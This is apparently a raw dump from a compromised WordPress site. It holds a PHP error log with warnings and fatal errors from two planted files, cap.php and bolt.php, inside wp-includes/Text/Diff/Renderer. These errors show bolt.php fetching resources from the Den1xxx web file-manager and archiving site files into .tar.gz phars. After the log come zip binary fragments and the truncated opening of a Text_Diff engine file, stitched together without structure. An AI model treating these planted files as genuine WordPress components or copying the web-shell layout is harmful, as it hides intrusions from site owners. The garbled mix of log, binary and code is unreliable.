[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
